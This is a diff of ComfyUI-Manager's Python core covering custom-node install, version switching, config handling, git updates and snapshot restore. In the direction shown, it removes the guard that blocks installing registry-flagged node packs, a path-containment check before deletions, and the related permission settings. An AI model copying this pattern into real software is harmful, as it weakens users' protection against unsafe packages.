@@ -897,45 +886,35 @@ class UnifiedManager:
|
||||
|
||||
return result
|
||||
|
||||
def _get_cnr_install_info(self, node_id, version_spec):
|
||||
node_info = cnr_utils.install_node(node_id, version_spec)
|
||||
if node_info is not None and node_info.status == 'NodeVersionStatusFlagged' and not manager_funcs.is_flagged_install_allowed():
|
||||
logging.error(manager_security.FLAGGED_NODEPACK_INSTALL_GUIDANCE)
|
||||
raise PermissionError(manager_security.FLAGGED_NODEPACK_INSTALL_ERROR)
|
||||
return node_info
|
||||
|
||||
def cnr_switch_version(self, node_id, version_spec=None, instant_execution=False, no_deps=False, return_postinstall=False):
|
||||
if instant_execution:
|
||||
return self.cnr_switch_version_instant(node_id, version_spec, instant_execution, no_deps, return_postinstall)
|
||||
else:
|
||||
return self.cnr_switch_version_lazy(node_id, version_spec, no_deps, return_postinstall)
|
||||
|
||||
def cnr_switch_version_lazy(self, node_id, version_spec=None, no_deps=False, return_postinstall=False):
|
||||
"""
|
||||
switch between cnr version (lazy mode)
|
||||
"""
|
||||
|
||||
result = ManagedResult('switch-cnr')
|
||||
|
||||
try:
|
||||
node_info = self._get_cnr_install_info(node_id, version_spec)
|
||||
except PermissionError as exc:
|
||||
return result.fail(str(exc))
|
||||
node_info = cnr_utils.install_node(node_id, version_spec)
|
||||
if node_info is None or not node_info.download_url:
|
||||
return result.fail(f'not available node: {node_id}@{version_spec}')
|
||||
|
||||
return self._cnr_switch_version(node_id, node_info, instant_execution, no_deps, return_postinstall)
|
||||
version_spec = node_info.version
|
||||
|
||||
def _cnr_switch_version(self, node_id, node_info, instant_execution=False, no_deps=False, return_postinstall=False):
|
||||
"""Execute a switch using the checked CNR response."""
|
||||
if self.active_nodes[node_id][0] == node_info.version:
|
||||
if self.active_nodes[node_id][0] == version_spec:
|
||||
return ManagedResult('skip').with_msg("Up to date")
|
||||
|
||||
if instant_execution:
|
||||
return self._cnr_switch_version_instant(node_id, node_info, no_deps, return_postinstall)
|
||||
return self._cnr_switch_version_lazy(node_id, node_info, no_deps, return_postinstall)
|
||||
|
||||
def _cnr_switch_version_lazy(self, node_id, node_info, no_deps=False, return_postinstall=False):
|
||||
"""Reserve a switch using the validated install response."""
|
||||
result = ManagedResult('switch-cnr')
|
||||
version_spec = node_info.version
|
||||
zip_url = node_info.download_url
|
||||
from_path = self.active_nodes[node_id][1]
|
||||
target = node_id
|
||||
to_path = os.path.join(get_default_custom_nodes_path(), target)
|
||||
|
||||
def postinstall():
|
||||
return self.reserve_cnr_switch(target, zip_url, from_path, to_path, no_deps, node_info.status)
|
||||
return self.reserve_cnr_switch(target, zip_url, from_path, to_path, no_deps)
|
||||
|
||||
if return_postinstall:
|
||||
return result.with_postinstall(postinstall)
|
||||
@@ -945,12 +924,23 @@ class UnifiedManager:
|
||||
|
||||
return result
|
||||
|
||||
def _cnr_switch_version_instant(self, node_id, node_info, no_deps=False, return_postinstall=False):
|
||||
"""Apply a switch using the validated install response."""
|
||||
result = ManagedResult('switch-cnr')
|
||||
version_spec = node_info.version
|
||||
def cnr_switch_version_instant(self, node_id, version_spec=None, instant_execution=True, no_deps=False, return_postinstall=False):
|
||||
"""
|
||||
switch between cnr version
|
||||
"""
|
||||
|
||||
# 1. download
|
||||
result = ManagedResult('switch-cnr')
|
||||
|
||||
node_info = cnr_utils.install_node(node_id, version_spec)
|
||||
if node_info is None or not node_info.download_url:
|
||||
return result.fail(f'not available node: {node_id}@{version_spec}')
|
||||
|
||||
version_spec = node_info.version
|
||||
|
||||
if self.active_nodes[node_id][0] == version_spec:
|
||||
return ManagedResult('skip').with_msg("Up to date")
|
||||
|
||||
archive_name = f"CNR_temp_{str(uuid.uuid4())}.zip" # should be unpredictable name - security precaution
|
||||
download_path = os.path.join(get_default_custom_nodes_path(), archive_name)
|
||||
manager_downloader.basic_download_url(node_info.download_url, get_default_custom_nodes_path(), archive_name)
|
||||
@@ -995,7 +985,7 @@ class UnifiedManager:
|
||||
result.target = version_spec
|
||||
|
||||
def postinstall():
|
||||
res = self.execute_install_script(f"{node_id}@{version_spec}", install_path, instant_execution=True, no_deps=no_deps)
|
||||
res = self.execute_install_script(f"{node_id}@{version_spec}", install_path, instant_execution=instant_execution, no_deps=no_deps)
|
||||
return res
|
||||
|
||||
if return_postinstall:
|
||||
@@ -1141,71 +1131,6 @@ class UnifiedManager:
|
||||
|
||||
return result
|
||||
|
||||
def purge_node_state(self, node_id: str):
|
||||
"""
|
||||
Remove a node's directory and clean ALL internal dictionaries regardless of categorization.
|
||||
Used by reinstall to guarantee clean state before re-installation.
|
||||
"""
|
||||
if 'comfyui-manager' in node_id.lower():
|
||||
return
|
||||
|
||||
custom_nodes_dir = os.path.normcase(os.path.realpath(get_default_custom_nodes_path()))
|
||||
paths_to_remove = set()
|
||||
|
||||
def _add_path(raw_path):
|
||||
"""Normalize and validate a path before adding to removal set."""
|
||||
if not raw_path:
|
||||
return
|
||||
resolved = os.path.normcase(os.path.realpath(raw_path))
|
||||
if resolved == custom_nodes_dir:
|
||||
logging.warning(f"[ComfyUI-Manager] purge_node_state: refusing to delete custom_nodes root: {raw_path}")
|
||||
return
|
||||
try:
|
||||
if os.path.commonpath([custom_nodes_dir, resolved]) != custom_nodes_dir:
|
||||
logging.warning(f"[ComfyUI-Manager] purge_node_state: path escapes custom_nodes scope, skipping: {raw_path}")
|
||||
return
|
||||
except ValueError:
|
||||
logging.warning(f"[ComfyUI-Manager] purge_node_state: cannot verify containment, skipping: {raw_path}")
|
||||
return
|
||||
paths_to_remove.add(resolved)
|
||||
|
||||
# Collect paths from all dictionaries
|
||||
entry = self.unknown_active_nodes.get(node_id)
|
||||
if entry is not None:
|
||||
_add_path(entry[1])
|
||||
|
||||
entry = self.active_nodes.get(node_id)
|
||||
if entry is not None:
|
||||
_add_path(entry[1])
|
||||
|
||||
entry = self.unknown_inactive_nodes.get(node_id)
|
||||
if entry is not None:
|
||||
_add_path(entry[1])
|
||||
|
||||
fullpath = self.nightly_inactive_nodes.get(node_id)
|
||||
if fullpath is not None:
|
||||
_add_path(fullpath)
|
||||
|
||||
ver_map = self.cnr_inactive_nodes.get(node_id)
|
||||
if ver_map is not None:
|
||||
for key, fp in ver_map.items():
|
||||
_add_path(fp)
|
||||
|
||||
# Convention-based fallback path
|
||||
_add_path(os.path.join(get_default_custom_nodes_path(), node_id))
|
||||
|
||||
# Remove all validated paths, then always clean dictionaries
|
||||
try:
|
||||
for path in paths_to_remove:
|
||||
if os.path.exists(path):
|
||||
try_rmtree(node_id, path)
|
||||
finally:
|
||||
self.unknown_active_nodes.pop(node_id, None)
|
||||
self.active_nodes.pop(node_id, None)
|
||||
self.unknown_inactive_nodes.pop(node_id, None)
|
||||
self.nightly_inactive_nodes.pop(node_id, None)
|
||||
self.cnr_inactive_nodes.pop(node_id, None)
|
||||
|
||||
def unified_uninstall(self, node_id: str, is_unknown: bool):
|
||||
"""
|
||||
Remove whole installed custom nodes including inactive nodes
|
||||
@@ -1277,24 +1202,10 @@ class UnifiedManager:
|
||||
if 'comfyui-manager' in node_id.lower():
|
||||
return result.fail(f"ignored: installing '{node_id}'")
|
||||
|
||||
try:
|
||||
node_info = self._get_cnr_install_info(node_id, version_spec)
|
||||
except PermissionError as exc:
|
||||
return result.fail(str(exc))
|
||||
node_info = cnr_utils.install_node(node_id, version_spec)
|
||||
if node_info is None or not node_info.download_url:
|
||||
return result.fail(f'not available node: {node_id}@{version_spec}')
|
||||
|
||||
result = self._cnr_install(node_id, node_info, instant_execution, no_deps, return_postinstall)
|
||||
# Keep the requested version in the public result.
|
||||
if result.target is not None:
|
||||
result.target = version_spec
|
||||
return result
|
||||
|
||||
def _cnr_install(self, node_id, node_info, instant_execution=False, no_deps=False, return_postinstall=False):
|
||||
"""Install using the checked CNR response."""
|
||||
result = ManagedResult('install-cnr')
|
||||
version_spec = node_info.version
|
||||
|
||||
archive_name = f"CNR_temp_{str(uuid.uuid4())}.zip" # should be unpredictable name - security precaution
|
||||
download_path = os.path.join(get_default_custom_nodes_path(), archive_name)
|
||||
|
||||
@@ -1479,17 +1390,24 @@ class UnifiedManager:
|
||||
return ManagedResult('skip')
|
||||
elif self.is_disabled(node_id):
|
||||
return self.unified_enable(node_id)
|
||||
|
||||
else:
|
||||
version_spec = self.resolve_unspecified_version(node_id)
|
||||
|
||||
if version_spec in ('unknown', 'nightly'):
|
||||
if version_spec == 'unknown' or version_spec == 'nightly':
|
||||
try:
|
||||
repo_url = await self._get_git_install_url(node_id, version_spec, channel, mode)
|
||||
except InvalidChannel as exc:
|
||||
return ManagedResult('fail').fail(f'Invalid channel is used: {exc.channel}')
|
||||
except LookupError as exc:
|
||||
return ManagedResult('install').fail(str(exc))
|
||||
custom_nodes = await self.get_custom_nodes(channel, mode)
|
||||
except InvalidChannel as e:
|
||||
return ManagedResult('fail').fail(f'Invalid channel is used: {e.channel}')
|
||||
|
||||
the_node = custom_nodes.get(node_id)
|
||||
if the_node is not None:
|
||||
if version_spec == 'unknown':
|
||||
repo_url = the_node['files'][0]
|
||||
else: # nightly
|
||||
repo_url = the_node['repository']
|
||||
else:
|
||||
result = ManagedResult('install')
|
||||
return result.fail(f"Node '{node_id}@{version_spec}' not found in [{channel}, {mode}]")
|
||||
|
||||
if self.is_enabled(node_id, version_spec):
|
||||
return ManagedResult('skip').with_target(f"{node_id}@{version_spec}")
|
||||
@@ -1497,16 +1415,32 @@ class UnifiedManager:
|
||||
elif self.is_disabled(node_id, version_spec):
|
||||
return self.unified_enable(node_id, version_spec)
|
||||
|
||||
elif version_spec in ('unknown', 'nightly'):
|
||||
return self._install_git(node_id, version_spec, repo_url, instant_execution, no_deps, return_postinstall)
|
||||
elif version_spec == 'unknown' or version_spec == 'nightly':
|
||||
to_path = os.path.abspath(os.path.join(get_default_custom_nodes_path(), node_id))
|
||||
|
||||
# Check before changing the existing pack, then reuse this response.
|
||||
try:
|
||||
node_info = self._get_cnr_install_info(node_id, version_spec)
|
||||
except PermissionError as exc:
|
||||
return ManagedResult('install-cnr').fail(str(exc))
|
||||
if node_info is None or not node_info.download_url:
|
||||
return ManagedResult('install-cnr').fail(f'not available node: {node_id}@{version_spec}')
|
||||
if version_spec == 'nightly':
|
||||
# disable cnr nodes
|
||||
if self.is_enabled(node_id, 'cnr'):
|
||||
self.unified_disable(node_id, False)
|
||||
|
||||
# use `repo name` as a dir name instead of `cnr id` if system added nodepack (i.e. publisher is null)
|
||||
cnr = self.cnr_map.get(node_id)
|
||||
|
||||
if cnr is not None and cnr.get('publisher') is None:
|
||||
repo_name = os.path.basename(git_utils.normalize_url(repo_url))
|
||||
to_path = os.path.abspath(os.path.join(get_default_custom_nodes_path(), repo_name))
|
||||
|
||||
res = self.repo_install(repo_url, to_path, instant_execution=instant_execution, no_deps=no_deps, return_postinstall=return_postinstall)
|
||||
if res.result:
|
||||
if version_spec == 'unknown':
|
||||
self.unknown_active_nodes[node_id] = repo_url, to_path
|
||||
elif version_spec == 'nightly':
|
||||
cnr_utils.generate_cnr_id(to_path, node_id)
|
||||
self.active_nodes[node_id] = 'nightly', to_path
|
||||
else:
|
||||
return res
|
||||
|
||||
return res.with_target(version_spec)
|
||||
|
||||
if self.is_enabled(node_id, 'nightly'):
|
||||
# disable nightly nodes
|
||||
@@ -1519,89 +1453,17 @@ class UnifiedManager:
|
||||
if self.is_disabled(node_id, "cnr"):
|
||||
# enable and switch version if cnr is disabled (not specified version)
|
||||
self.unified_enable(node_id, "cnr")
|
||||
return self._cnr_switch_version(node_id, node_info, instant_execution, no_deps, return_postinstall)
|
||||
return self.cnr_switch_version(node_id, version_spec, no_deps=no_deps, return_postinstall=return_postinstall)
|
||||
|
||||
if self.is_enabled(node_id, "cnr"):
|
||||
return self._cnr_switch_version(node_id, node_info, instant_execution, no_deps, return_postinstall)
|
||||
return self.cnr_switch_version(node_id, version_spec, no_deps=no_deps, return_postinstall=return_postinstall)
|
||||
|
||||
res = self._cnr_install(node_id, node_info, instant_execution, no_deps, return_postinstall)
|
||||
res = self.cnr_install(node_id, version_spec, instant_execution=instant_execution, no_deps=no_deps, return_postinstall=return_postinstall)
|
||||
if res.result:
|
||||
self.active_nodes[node_id] = version_spec, res.to_path
|
||||
|
||||
return res
|
||||
|
||||
async def _get_git_install_url(self, node_id, version_spec, channel, mode):
|
||||
custom_nodes = await self.get_custom_nodes(channel, mode)
|
||||
node = custom_nodes.get(node_id)
|
||||
if node is not None:
|
||||
return node['files'][0] if version_spec == 'unknown' else node['repository']
|
||||
if version_spec == 'nightly':
|
||||
cnr = self.cnr_map.get(node_id)
|
||||
if cnr is not None and cnr.get('repository'):
|
||||
return cnr['repository']
|
||||
raise LookupError(f"Node '{node_id}@{version_spec}' not found in [{channel}, {mode}]")
|
||||
|
||||
def _install_git(self, node_id, version_spec, repo_url, instant_execution=False, no_deps=False, return_postinstall=False):
|
||||
to_path = os.path.abspath(os.path.join(get_default_custom_nodes_path(), node_id))
|
||||
|
||||
if version_spec == 'nightly':
|
||||
# disable cnr nodes
|
||||
if self.is_enabled(node_id, 'cnr'):
|
||||
self.unified_disable(node_id, False)
|
||||
|
||||
# use `repo name` as a dir name instead of `cnr id` if system added nodepack (i.e. publisher is null)
|
||||
cnr = self.cnr_map.get(node_id)
|
||||
|
||||
if cnr is not None and cnr.get('publisher') is None:
|
||||
repo_name = os.path.basename(git_utils.normalize_url(repo_url))
|
||||
to_path = os.path.abspath(os.path.join(get_default_custom_nodes_path(), repo_name))
|
||||
|
||||
res = self.repo_install(repo_url, to_path, instant_execution=instant_execution, no_deps=no_deps, return_postinstall=return_postinstall)
|
||||
if res.result:
|
||||
if version_spec == 'unknown':
|
||||
self.unknown_active_nodes[node_id] = repo_url, to_path
|
||||
elif version_spec == 'nightly':
|
||||
cnr_utils.generate_cnr_id(to_path, node_id)
|
||||
self.active_nodes[node_id] = 'nightly', to_path
|
||||
else:
|
||||
return res
|
||||
|
||||
return res.with_target(version_spec)
|
||||
|
||||
async def reinstall_by_id(self, node_id, version_spec, channel=None, mode=None):
|
||||
if 'comfyui-manager' in node_id.lower():
|
||||
return ManagedResult('skip').fail(f"ignored: installing '{node_id}'")
|
||||
|
||||
if version_spec in ('unknown', 'nightly'):
|
||||
try:
|
||||
repo_url = await self._get_git_install_url(node_id, version_spec, channel, mode)
|
||||
except InvalidChannel as exc:
|
||||
return ManagedResult('fail').fail(f'Invalid channel is used: {exc.channel}')
|
||||
except LookupError as exc:
|
||||
return ManagedResult('install').fail(str(exc))
|
||||
else:
|
||||
try:
|
||||
node_info = self._get_cnr_install_info(node_id, version_spec)
|
||||
except PermissionError as exc:
|
||||
return ManagedResult('install-cnr').fail(str(exc))
|
||||
if node_info is None or not node_info.download_url:
|
||||
return ManagedResult('install-cnr').fail(f'not available node: {node_id}@{version_spec}')
|
||||
|
||||
removed = self.unified_uninstall(node_id, version_spec == 'unknown')
|
||||
if not removed.result:
|
||||
return removed
|
||||
|
||||
for item in removed.items:
|
||||
path = item if version_spec == 'unknown' else item[1]
|
||||
self.processed_install.discard(os.path.join(path, 'install.py'))
|
||||
if version_spec in ('unknown', 'nightly'):
|
||||
return self._install_git(node_id, version_spec, repo_url)
|
||||
|
||||
result = self._cnr_install(node_id, node_info)
|
||||
if result.result:
|
||||
self.active_nodes[node_id] = node_info.version, result.to_path
|
||||
return result
|
||||
|
||||
|
||||
unified_manager = UnifiedManager()
|
||||
|
||||
@@ -1712,9 +1574,8 @@ class ManagerFuncs:
|
||||
def __init__(self):
|
||||
pass
|
||||
|
||||
def is_flagged_install_allowed(self):
|
||||
# Server-scheduled restore children inherit only the resolved permission.
|
||||
return os.environ.get('_COMFYUI_MANAGER_CNR_ALLOW_FLAGGED', 'true') == 'true'
|
||||
def get_current_preview_method(self):
|
||||
return "none"
|
||||
|
||||
def run_script(self, cmd, cwd='.'):
|
||||
if len(cmd) > 0 and cmd[0].startswith("#"):
|
||||
@@ -1729,31 +1590,34 @@ class ManagerFuncs:
|
||||
manager_funcs = ManagerFuncs()
|
||||
|
||||
|
||||
# Settings owned by this server; other keys and sections are preserved.
|
||||
WRITTEN_CONFIG_KEYS = (
|
||||
'git_exe',
|
||||
'use_uv',
|
||||
'channel_url',
|
||||
'share_option',
|
||||
'bypass_ssl',
|
||||
'file_logging',
|
||||
'update_policy',
|
||||
'windows_selector_event_loop_policy',
|
||||
'model_download_by_agent',
|
||||
'downgrade_blacklist',
|
||||
'security_level',
|
||||
'always_lazy_install',
|
||||
'network_mode',
|
||||
'db_mode',
|
||||
'allow_git_url_install',
|
||||
'allow_pip_install',
|
||||
'allow_flagged_nodepack_install',
|
||||
)
|
||||
|
||||
|
||||
def write_config():
|
||||
"""Persist changed settings through the shared writer."""
|
||||
write_config_merged(context.manager_config_path, get_config(), WRITTEN_CONFIG_KEYS)
|
||||
config = configparser.ConfigParser(strict=False)
|
||||
|
||||
config['default'] = {
|
||||
'preview_method': manager_funcs.get_current_preview_method(),
|
||||
'git_exe': get_config()['git_exe'],
|
||||
'use_uv': get_config()['use_uv'],
|
||||
'channel_url': get_config()['channel_url'],
|
||||
'share_option': get_config()['share_option'],
|
||||
'bypass_ssl': get_config()['bypass_ssl'],
|
||||
"file_logging": get_config()['file_logging'],
|
||||
'component_policy': get_config()['component_policy'],
|
||||
'update_policy': get_config()['update_policy'],
|
||||
'windows_selector_event_loop_policy': get_config()['windows_selector_event_loop_policy'],
|
||||
'model_download_by_agent': get_config()['model_download_by_agent'],
|
||||
'downgrade_blacklist': get_config()['downgrade_blacklist'],
|
||||
'security_level': get_config()['security_level'],
|
||||
'always_lazy_install': get_config()['always_lazy_install'],
|
||||
'network_mode': get_config()['network_mode'],
|
||||
'db_mode': get_config()['db_mode'],
|
||||
}
|
||||
|
||||
directory = os.path.dirname(context.manager_config_path)
|
||||
if not os.path.exists(directory):
|
||||
os.makedirs(directory)
|
||||
|
||||
with open(context.manager_config_path, 'w') as configfile:
|
||||
config.write(configfile)
|
||||
|
||||
|
||||
def read_config():
|
||||
@@ -1770,6 +1634,7 @@ def read_config():
|
||||
|
||||
return {
|
||||
'http_channel_enabled': get_bool('http_channel_enabled', False),
|
||||
'preview_method': default_conf.get('preview_method', manager_funcs.get_current_preview_method()).lower(),
|
||||
'git_exe': default_conf.get('git_exe', ''),
|
||||
'use_uv': get_bool('use_uv', True),
|
||||
'channel_url': default_conf.get('channel_url', DEFAULT_CHANNEL),
|
||||
@@ -1777,6 +1642,7 @@ def read_config():
|
||||
'share_option': default_conf.get('share_option', 'all').lower(),
|
||||
'bypass_ssl': get_bool('bypass_ssl', False),
|
||||
'file_logging': get_bool('file_logging', True),
|
||||
'component_policy': default_conf.get('component_policy', 'workflow').lower(),
|
||||
'update_policy': default_conf.get('update_policy', 'stable-comfyui').lower(),
|
||||
'windows_selector_event_loop_policy': get_bool('windows_selector_event_loop_policy', False),
|
||||
'model_download_by_agent': get_bool('model_download_by_agent', False),
|
||||
@@ -1785,9 +1651,6 @@ def read_config():
|
||||
'network_mode': default_conf.get('network_mode', NetworkMode.PUBLIC.value).lower(),
|
||||
'security_level': default_conf.get('security_level', SecurityLevel.NORMAL.value).lower(),
|
||||
'db_mode': default_conf.get('db_mode', DBMode.CACHE.value).lower(),
|
||||
'allow_git_url_install': get_bool('allow_git_url_install', False),
|
||||
'allow_pip_install': get_bool('allow_pip_install', False),
|
||||
'allow_flagged_nodepack_install': get_bool('allow_flagged_nodepack_install', False),
|
||||
}
|
||||
|
||||
except Exception:
|
||||
@@ -1796,6 +1659,7 @@ def read_config():
|
||||
|
||||
return {
|
||||
'http_channel_enabled': False,
|
||||
'preview_method': manager_funcs.get_current_preview_method(),
|
||||
'git_exe': '',
|
||||
'use_uv': True,
|
||||
'channel_url': DEFAULT_CHANNEL,
|
||||
@@ -1803,6 +1667,7 @@ def read_config():
|
||||
'share_option': 'all',
|
||||
'bypass_ssl': manager_util.bypass_ssl,
|
||||
'file_logging': True,
|
||||
'component_policy': 'workflow',
|
||||
'update_policy': 'stable-comfyui',
|
||||
'windows_selector_event_loop_policy': False,
|
||||
'model_download_by_agent': False,
|
||||
@@ -1811,9 +1676,6 @@ def read_config():
|
||||
'network_mode': NetworkMode.PUBLIC.value,
|
||||
'security_level': SecurityLevel.NORMAL.value,
|
||||
'db_mode': DBMode.CACHE.value,
|
||||
'allow_git_url_install': False,
|
||||
'allow_pip_install': False,
|
||||
'allow_flagged_nodepack_install': False,
|
||||
}
|
||||
|
||||
|
||||
@@ -1821,8 +1683,7 @@ def get_config():
|
||||
global cached_config
|
||||
|
||||
if cached_config is None:
|
||||
# Start tracking changes after the startup configuration is loaded.
|
||||
cached_config = DirtyTrackingConfig(read_config())
|
||||
cached_config = read_config()
|
||||
if cached_config['http_channel_enabled']:
|
||||
print("[ComfyUI-Manager] Warning: http channel enabled, make sure server in secure env")
|
||||
|
||||
@@ -1896,34 +1757,11 @@ def reserve_script(repo_path, install_cmds):
|
||||
|
||||
|
||||
def try_rmtree(title, fullpath):
|
||||
# Tier 1: retry with delay for transient Windows file locks
|
||||
for attempt in range(3):
|
||||
try:
|
||||
shutil.rmtree(fullpath)
|
||||
return
|
||||
except OSError:
|
||||
if attempt < 2:
|
||||
time.sleep(1)
|
||||
|
||||
# Tier 2: rename into .disabled/.trash/ so scanner ignores it
|
||||
trash_dir = os.path.join(os.path.dirname(fullpath), '.disabled', '.trash')
|
||||
os.makedirs(trash_dir, exist_ok=True)
|
||||
trash = os.path.join(trash_dir, os.path.basename(fullpath) + f'_{uuid.uuid4().hex[:8]}')
|
||||
try:
|
||||
os.rename(fullpath, trash)
|
||||
shutil.rmtree(trash, ignore_errors=True)
|
||||
if not os.path.exists(trash):
|
||||
return
|
||||
# Rename succeeded but delete failed — schedule trash path for lazy delete
|
||||
logging.warning(f"[ComfyUI-Manager] Renamed '{fullpath}' to '{trash}' but could not delete; scheduled for restart.")
|
||||
reserve_script(title, ["#LAZY-DELETE-NODEPACK", trash])
|
||||
return
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
# Tier 3: lazy delete on restart (ComfyUI GUI fallback)
|
||||
logging.warning(f"[ComfyUI-Manager] An error occurred while deleting '{fullpath}', so it has been scheduled for deletion upon restart.")
|
||||
reserve_script(title, ["#LAZY-DELETE-NODEPACK", fullpath])
|
||||
shutil.rmtree(fullpath)
|
||||
except Exception as e:
|
||||
logging.warning(f"[ComfyUI-Manager] An error occurred while deleting '{fullpath}', so it has been scheduled for deletion upon restart.\nEXCEPTION: {e}")
|
||||
reserve_script(title, ["#LAZY-DELETE-NODEPACK", fullpath])
|
||||
|
||||
|
||||
def try_install_script(url, repo_path, install_cmd, instant_execution=False):
|
||||
@@ -2073,27 +1911,6 @@ def execute_install_script(url, repo_path, lazy_mode=False, instant_execution=Fa
|
||||
return True
|
||||
|
||||
|
||||
def install_manager_requirements(repo_path):
|
||||
"""
|
||||
Install packages from manager_requirements.txt if it exists.
|
||||
This is specifically for ComfyUI's manager_requirements.txt.
|
||||
"""
|
||||
manager_requirements_path = os.path.join(repo_path, "manager_requirements.txt")
|
||||
if not os.path.exists(manager_requirements_path):
|
||||
return
|
||||
|
||||
logging.info("[ComfyUI-Manager] Installing manager_requirements.txt")
|
||||
with open(manager_requirements_path, "r") as f:
|
||||
for line in f:
|
||||
line = line.strip()
|
||||
if line and not line.startswith('#'):
|
||||
if '#' in line:
|
||||
line = line.split('#')[0].strip()
|
||||
if line:
|
||||
install_cmd = manager_util.make_pip_cmd(["install", line])
|
||||
subprocess.run(install_cmd)
|
||||
|
||||
|
||||
def git_repo_update_check_with(path, do_fetch=False, do_update=False, no_deps=False):
|
||||
"""
|
||||
|
||||
@@ -2172,15 +1989,7 @@ def git_repo_update_check_with(path, do_fetch=False, do_update=False, no_deps=Fa
|
||||
return False, True
|
||||
|
||||
try:
|
||||
try:
|
||||
repo.git.pull('--ff-only')
|
||||
except git.GitCommandError:
|
||||
backup_name = get_backup_branch_name(repo)
|
||||
repo.create_head(backup_name)
|
||||
logging.info(f"[ComfyUI-Manager] Cannot fast-forward. Backup created: {backup_name}")
|
||||
repo.git.reset('--hard', f'{remote_name}/{branch_name}')
|
||||
logging.info(f"[ComfyUI-Manager] Reset to {remote_name}/{branch_name}")
|
||||
|
||||
remote.pull()
|
||||
repo.git.submodule('update', '--init', '--recursive')
|
||||
new_commit_hash = repo.head.commit.hexsha
|
||||
|
||||
@@ -2237,15 +2046,16 @@ class GitProgress(RemoteProgress):
|
||||
|
||||
|
||||
def is_valid_url(url):
|
||||
# Check for HTTP/HTTPS URL format
|
||||
result = urlparse(url)
|
||||
if result.scheme and result.netloc:
|
||||
return True
|
||||
|
||||
# Check for SSH git URL format
|
||||
if SSH_URL_PATTERN.match(url):
|
||||
return True
|
||||
|
||||
try:
|
||||
# Check for HTTP/HTTPS URL format
|
||||
result = urlparse(url)
|
||||
if all([result.scheme, result.netloc]):
|
||||
return True
|
||||
finally:
|
||||
# Check for SSH git URL format
|
||||
pattern = re.compile(r"^(.+@|ssh://).+:.+$")
|
||||
if pattern.match(url):
|
||||
return True
|
||||
return False
|
||||
|
||||
|
||||
@@ -2334,17 +2144,9 @@ def git_pull(path):
|
||||
|
||||
current_branch = repo.active_branch
|
||||
remote_name = current_branch.tracking_branch().remote_name
|
||||
branch_name = current_branch.name
|
||||
|
||||
try:
|
||||
repo.git.pull('--ff-only')
|
||||
except git.GitCommandError:
|
||||
backup_name = get_backup_branch_name(repo)
|
||||
repo.create_head(backup_name)
|
||||
logging.info(f"[ComfyUI-Manager] Cannot fast-forward. Backup created: {backup_name}")
|
||||
repo.git.reset('--hard', f'{remote_name}/{branch_name}')
|
||||
logging.info(f"[ComfyUI-Manager] Reset to {remote_name}/{branch_name}")
|
||||
remote = repo.remote(name=remote_name)
|
||||
|
||||
remote.pull()
|
||||
repo.git.submodule('update', '--init', '--recursive')
|
||||
|
||||
repo.close()
|
||||
@@ -2612,23 +2414,22 @@ def update_to_stable_comfyui(repo_path):
|
||||
logging.error('\t'+branch.name)
|
||||
return "fail", None
|
||||
|
||||
versions, current_tag, latest_tag = get_comfyui_versions(repo)
|
||||
|
||||
if latest_tag is None:
|
||||
versions, current_tag, _ = get_comfyui_versions(repo)
|
||||
|
||||
if len(versions) == 0 or (len(versions) == 1 and versions[0] == 'nightly'):
|
||||
logging.info("[ComfyUI-Manager] Unable to update to the stable ComfyUI version.")
|
||||
return "fail", None
|
||||
|
||||
if versions[0] == 'nightly':
|
||||
latest_tag = versions[1]
|
||||
else:
|
||||
latest_tag = versions[0]
|
||||
|
||||
tag_ref = next((t for t in repo.tags if t.name == latest_tag), None)
|
||||
if tag_ref is None:
|
||||
logging.info(f"[ComfyUI-Manager] Unable to locate tag '{latest_tag}' in repository.")
|
||||
return "fail", None
|
||||
|
||||
if repo.head.commit == tag_ref.commit:
|
||||
if current_tag == latest_tag:
|
||||
return "skip", None
|
||||
else:
|
||||
logging.info(f"[ComfyUI-Manager] Updating ComfyUI: {current_tag} -> {latest_tag}")
|
||||
repo.git.checkout(tag_ref.name)
|
||||
execute_install_script("ComfyUI", repo_path, instant_execution=False, no_deps=False)
|
||||
repo.git.checkout(latest_tag)
|
||||
return 'updated', latest_tag
|
||||
except Exception:
|
||||
traceback.print_exc()
|
||||
@@ -2760,13 +2561,9 @@ def check_state_of_git_node_pack_single(item, do_fetch=False, do_update_check=Tr
|
||||
|
||||
|
||||
def get_installed_pip_packages():
|
||||
try:
|
||||
# extract pip package infos
|
||||
cmd = manager_util.make_pip_cmd(['freeze'])
|
||||
pips = subprocess.check_output(cmd, text=True).split('\n')
|
||||
except Exception as e:
|
||||
logging.warning("[ComfyUI-Manager] Could not enumerate pip packages for snapshot: %s", e)
|
||||
return {}
|
||||
# extract pip package infos
|
||||
cmd = manager_util.make_pip_cmd(['freeze'])
|
||||
pips = subprocess.check_output(cmd, text=True).split('\n')
|
||||
|
||||
res = {}
|
||||
for x in pips:
|
||||
@@ -2858,7 +2655,9 @@ async def get_current_snapshot(custom_nodes_only = False):
|
||||
|
||||
async def save_snapshot_with_postfix(postfix, path=None, custom_nodes_only = False):
|
||||
if path is None:
|
||||
date_time_format = get_timestamp_for_path()
|
||||
now = datetime.now()
|
||||
|
||||
date_time_format = now.strftime("%Y-%m-%d_%H-%M-%S")
|
||||
file_name = f"{date_time_format}_{postfix}"
|
||||
|
||||
path = os.path.join(context.manager_snapshot_path, f"{file_name}.json")
|
||||
@@ -3251,20 +3050,15 @@ async def restore_snapshot(snapshot_path, git_helper_extras=None):
|
||||
skip_node_packs.append(f"{x[0]}@{x[1]}")
|
||||
elif not ps.result:
|
||||
failed.append(f"{x[0]}@{x[1]}")
|
||||
logging.error(ps.msg)
|
||||
|
||||
# Do not retry processed switches as fresh installs.
|
||||
checked_cnr = {node_id for node_id, _ in todo_checkout}
|
||||
# install listed cnr nodes
|
||||
for k, v in cnr_info.items():
|
||||
if 'comfyui-manager' in k or k in checked_cnr:
|
||||
if 'comfyui-manager' in k:
|
||||
continue
|
||||
|
||||
ps = await unified_manager.install_by_id(k, version_spec=v, instant_execution=True, return_postinstall=True)
|
||||
if ps.action == 'install-cnr' and ps.result:
|
||||
installed_node_packs.append(f"{k}@{v}")
|
||||
elif not ps.result:
|
||||
failed.append(f"{k}@{v}")
|
||||
logging.error(ps.msg)
|
||||
|
||||
if ps is not None and ps.result:
|
||||
if hasattr(ps, 'postinstall'):
|
||||
@@ -3454,85 +3248,36 @@ async def restore_snapshot(snapshot_path, git_helper_extras=None):
|
||||
|
||||
|
||||
def get_comfyui_versions(repo=None):
|
||||
repo = repo or git.Repo(context.comfy_path)
|
||||
if repo is None:
|
||||
repo = git.Repo(context.comfy_path)
|
||||
|
||||
remote_name = None
|
||||
try:
|
